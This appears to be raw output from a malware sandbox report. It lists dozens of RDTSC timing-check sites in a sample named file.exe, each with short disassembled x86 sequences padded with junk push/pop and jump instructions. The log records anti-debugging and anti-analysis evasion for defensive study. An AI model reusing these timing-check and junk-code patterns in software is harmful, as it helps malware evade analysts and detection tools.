Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8205B2 second address: 8205B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8205B6 second address: 8205CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FECB125BFCAh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8206E8 second address: 8206FA instructions: 0x00000000 rdtsc 0x00000002 jns 00007FECB0CC2D08h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82180D second address: 821812 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8206FA second address: 8206FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82285F second address: 822869 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FECB125BFC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82382A second address: 82383C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB0CC2D0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8206FF second address: 820704 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825608 second address: 82561D instructions: 0x00000000 rdtsc 0x00000002 jns 00007FECB0CC2D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007FECB0CC2D06h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82561D second address: 825621 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8256BF second address: 8256C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8256C5 second address: 8256C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824711 second address: 824728 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB0CC2D13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824728 second address: 824755 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FECB125BFD9h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jno 00007FECB125BFC8h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82658C second address: 826590 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 826590 second address: 826621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007FECB125BFC8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 push esi 0x00000025 jmp 00007FECB125BFD9h 0x0000002a pop ebx 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+122D17CDh], ecx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007FECB125BFC8h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 0000001Ah 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f mov bx, 7156h 0x00000053 xchg eax, esi 0x00000054 jmp 00007FECB125BFD0h 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c jnc 00007FECB125BFCCh 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82AD80 second address: 82AD84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DEAD second address: 82DEB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82DEB1 second address: 82DECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 mov di, bx 0x0000000b push 00000000h 0x0000000d mov dword ptr [ebp+122D27CFh], eax 0x00000013 push 00000000h 0x00000015 movsx edi, cx 0x00000018 push eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82AF29 second address: 82AF2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82C0A5 second address: 82C0C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECB0CC2D18h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B007 second address: 82B02F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB125BFD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D13D second address: 82D14D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB0CC2D0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82FF4C second address: 82FF51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82D14D second address: 82D157 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FECB0CC2D06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82F028 second address: 82F02E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82F13C second address: 82F141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82F141 second address: 82F176 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB125BFD7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FECB125BFD7h 0x00000012 jmp 00007FECB125BFD1h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82F176 second address: 82F17C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 831081 second address: 831087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83327D second address: 8332A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FECB0CC2D15h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8332A1 second address: 8332A6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8387EA second address: 8387EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838BC1 second address: 838BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838BC7 second address: 838BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECB0CC2D11h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838BDE second address: 838BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 838BE7 second address: 838C0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FECB0CC2D16h 0x0000000b popad 0x0000000c push edi 0x0000000d pushad 0x0000000e jnp 00007FECB0CC2D06h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E3E7 second address: 83E3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E4FB second address: 83E51F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB0CC2D15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007FECB0CC2D06h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E630 second address: 83E639 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E639 second address: 83E646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E646 second address: 83E64A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E73E second address: 83E742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83E742 second address: 83E760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FECB125BFD2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D29C3 second address: 7D29CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8456AB second address: 8456C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jl 00007FECB125BFC6h 0x0000000e jl 00007FECB125BFC6h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845F69 second address: 845F6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D5F76 second address: 7D5F7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84639D second address: 8463C4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FECB0CC2D1Ch 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8463C4 second address: 8463CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84650B second address: 846510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846510 second address: 84652A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FECB125BFC6h 0x00000009 jnl 00007FECB125BFC6h 0x0000000f jne 00007FECB125BFC6h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84652A second address: 84652E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8467FF second address: 846807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846807 second address: 84680E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84AE4E second address: 84AE68 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FECB125BFC6h 0x00000008 jne 00007FECB125BFC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop esi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jne 00007FECB125BFC6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84AFC4 second address: 84AFD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FECB0CC2D06h 0x0000000a popad 0x0000000b pop eax 0x0000000c jc 00007FECB0CC2D14h 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84AFD9 second address: 84AFDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B7BE second address: 84B7C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84BA32 second address: 84BA38 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84BA38 second address: 84BA7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB0CC2D17h 0x00000007 jmp 00007FECB0CC2D0Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007FECB0CC2D0Bh 0x00000015 pushad 0x00000016 popad 0x00000017 jne 00007FECB0CC2D06h 0x0000001d push eax 0x0000001e pop eax 0x0000001f popad 0x00000020 jne 00007FECB0CC2D0Ch 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8ECB second address: 7F8EDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a jg 00007FECB125BFC6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F8EDD second address: 7F8EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84AA38 second address: 84AA3D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850B68 second address: 850B86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECB0CC2D18h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850B86 second address: 850B8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850B8A second address: 850B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FECB0CC2D0Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF485 second address: 7CF489 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF489 second address: 7CF49D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jno 00007FECB0CC2D06h 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84F9D8 second address: 84F9F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB125BFD4h 0x00000007 jnp 00007FECB125BFC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813C7F second address: 813C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813C84 second address: 813C8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 813C8A second address: 7F83EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 xor dword ptr [ebp+122D27CAh], eax 0x0000000f call dword ptr [ebp+122D1EBDh] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FECB0CC2D15h 0x0000001e jg 00007FECB0CC2D06h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8140B3 second address: 8140BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8140BA second address: 8140E3 instructions: 0x00000000 rdtsc 0x00000002 js 00007FECB0CC2D0Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push ecx 0x0000000d jmp 00007FECB0CC2D0Dh 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 js 00007FECB0CC2D06h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81428D second address: 814298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FECB125BFC6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814298 second address: 81429D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81436A second address: 81436F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8143FE second address: 814411 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007FECB0CC2D0Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814411 second address: 814415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814415 second address: 81441A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81441A second address: 81442C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, esi 0x00000008 xor dx, 62C1h 0x0000000d push eax 0x0000000e push ebx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814545 second address: 81454F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FECB0CC2D0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81454F second address: 81455B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81455B second address: 81455F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81455F second address: 81458A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FECB125BFCCh 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push esi 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop esi 0x00000017 mov eax, dword ptr [eax] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FECB125BFCAh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81458A second address: 8145B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB0CC2D0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FECB0CC2D10h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814EEB second address: 814EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FECB125BFCCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814EFB second address: 814EFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FCE2 second address: 84FCEB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FCEB second address: 84FCF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84FE51 second address: 84FE55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 850146 second address: 85015A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FECB0CC2D06h 0x0000000a jbe 00007FECB0CC2D06h 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8502AE second address: 8502BB instructions: 0x00000000 rdtsc 0x00000002 jno 00007FECB125BFC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85043A second address: 850441 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856F70 second address: 856F80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jnc 00007FECB125BFC6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
